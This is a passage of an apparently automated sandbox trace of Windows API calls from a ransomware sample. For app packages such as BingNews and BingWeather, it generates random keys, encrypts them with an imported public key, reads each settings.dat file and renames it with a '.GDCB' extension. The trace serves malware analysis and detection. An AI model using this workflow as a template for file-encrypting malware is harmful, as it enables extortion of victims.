[0210.093] CryptEncrypt (in: hKey=0x6489380, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d70000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6d70000*, pdwDataLen=0x285d630*=0x100) returned 1 [0210.093] GetLastError () returned 0x0 [0210.093] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0210.093] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0210.095] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6d80000 [0210.096] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6d90000 [0210.097] ReadFile (in: hFile=0x510, lpBuffer=0x6d90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6d90000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0210.233] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x6ea0000 [0210.238] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 0 [0210.273] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0210.275] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0210.276] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0210.276] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0210.276] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0210.276] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0210.278] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0210.279] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0210.279] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0210.279] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0210.280] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0210.282] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x64896c0) returned 1 [0210.282] CryptGetKeyParam (in: hKey=0x64896c0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0210.283] CryptEncrypt (in: hKey=0x64896c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d60000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6d60000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0210.283] GetLastError () returned 0x0 [0210.283] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0210.283] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0210.285] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489180) returned 1 [0210.285] CryptGetKeyParam (in: hKey=0x6489180, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0210.285] CryptEncrypt (in: hKey=0x6489180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d70000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6d70000*, pdwDataLen=0x285d630*=0x100) returned 1 [0210.285] GetLastError () returned 0x0 [0210.285] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0210.285] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0210.287] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6d80000 [0210.288] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6d90000 [0210.290] ReadFile (in: hFile=0x510, lpBuffer=0x6d90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6d90000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0210.308] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x6ea0000 [0210.313] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 0 [0210.348] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0210.350] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0210.351] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0210.351] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0210.351] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0210.351] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0210.352] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0210.353] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0210.353] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0210.353] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0210.353] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0210.356] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489840) returned 1 [0210.356] CryptGetKeyParam (in: hKey=0x6489840, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0210.356] CryptEncrypt (in: hKey=0x6489840, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d60000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6d60000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0210.356] GetLastError () returned 0x0 [0210.356] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0210.356] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0210.358] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489100) returned 1 [0210.358] CryptGetKeyParam (in: hKey=0x6489100, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0210.358] CryptEncrypt (in: hKey=0x6489100, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d70000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6d70000*, pdwDataLen=0x285d630*=0x100) returned 1 [0210.359] GetLastError () returned 0x0 [0210.359] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0210.359] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0210.360] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6d80000 [0210.362] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6d90000 [0210.363] ReadFile (in: hFile=0x510, lpBuffer=0x6d90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6d90000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0210.434] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x6ea0000 [0210.438] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0210.473] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0210.475] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0210.476] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0210.476] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0210.476] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0210.476] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0210.477] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0210.478] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0210.478] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0210.478] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0210.479] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0210.481] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x64890c0) returned 1 [0210.481] CryptGetKeyParam (in: hKey=0x64890c0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0210.481] CryptEncrypt (in: hKey=0x64890c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d60000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6d60000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0210.481] GetLastError () returned 0x0 [0210.481] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0210.481] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0210.483] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489d80) returned 1 [0210.483] CryptGetKeyParam (in: hKey=0x6489d80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0210.483] CryptEncrypt (in: hKey=0x6489d80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d70000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6d70000*, pdwDataLen=0x285d630*=0x100) returned 1 [0210.483] GetLastError () returned 0x0 [0210.483] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0210.483] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0210.485] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6d80000 [0210.487] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6d90000 [0210.488] ReadFile (in: hFile=0x510, lpBuffer=0x6d90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6d90000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0210.598] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x6ea0000 [0210.604] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0210.635] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0210.637] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0210.638] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0210.638] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0210.638] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0210.639] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0210.640] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0210.641] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0210.641] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0210.641] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0210.641] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0210.643] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489980) returned 1 [0210.643] CryptGetKeyParam (in: hKey=0x6489980, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0210.643] CryptEncrypt (in: hKey=0x6489980, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d60000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6d60000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0210.644] GetLastError () returned 0x0 [0210.644] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0210.644] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0210.645] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489f40) returned 1 [0210.646] CryptGetKeyParam (in: hKey=0x6489f40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0210.646] CryptEncrypt (in: hKey=0x6489f40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d70000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6d70000*, pdwDataLen=0x285d630*=0x100) returned 1 [0210.646] GetLastError () returned 0x0 [0210.646] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0210.646] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0210.647] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6d80000 [0210.649] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6d90000 [0210.650] ReadFile (in: hFile=0x510, lpBuffer=0x6d90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6d90000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0210.660] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x6ea0000 [0210.664] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 0 [0210.692] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0210.694] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0210.695] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0210.695] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0210.695] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0210.695] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0210.696] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0210.697] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0210.697] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0210.697] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0210.697] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0210.700] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489d00) returned 1 [0210.700] CryptGetKeyParam (in: hKey=0x6489d00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0210.700] CryptEncrypt (in: hKey=0x6489d00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d60000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6d60000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0210.700] GetLastError () returned 0x0 [0210.700] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0210.700] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0210.702] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489bc0) returned 1 [0210.702] CryptGetKeyParam (in: hKey=0x6489bc0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0210.702] CryptEncrypt (in: hKey=0x6489bc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d70000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6d70000*, pdwDataLen=0x285d630*=0x100) returned 1 [0210.702] GetLastError () returned 0x0 [0210.702] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0210.702] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application 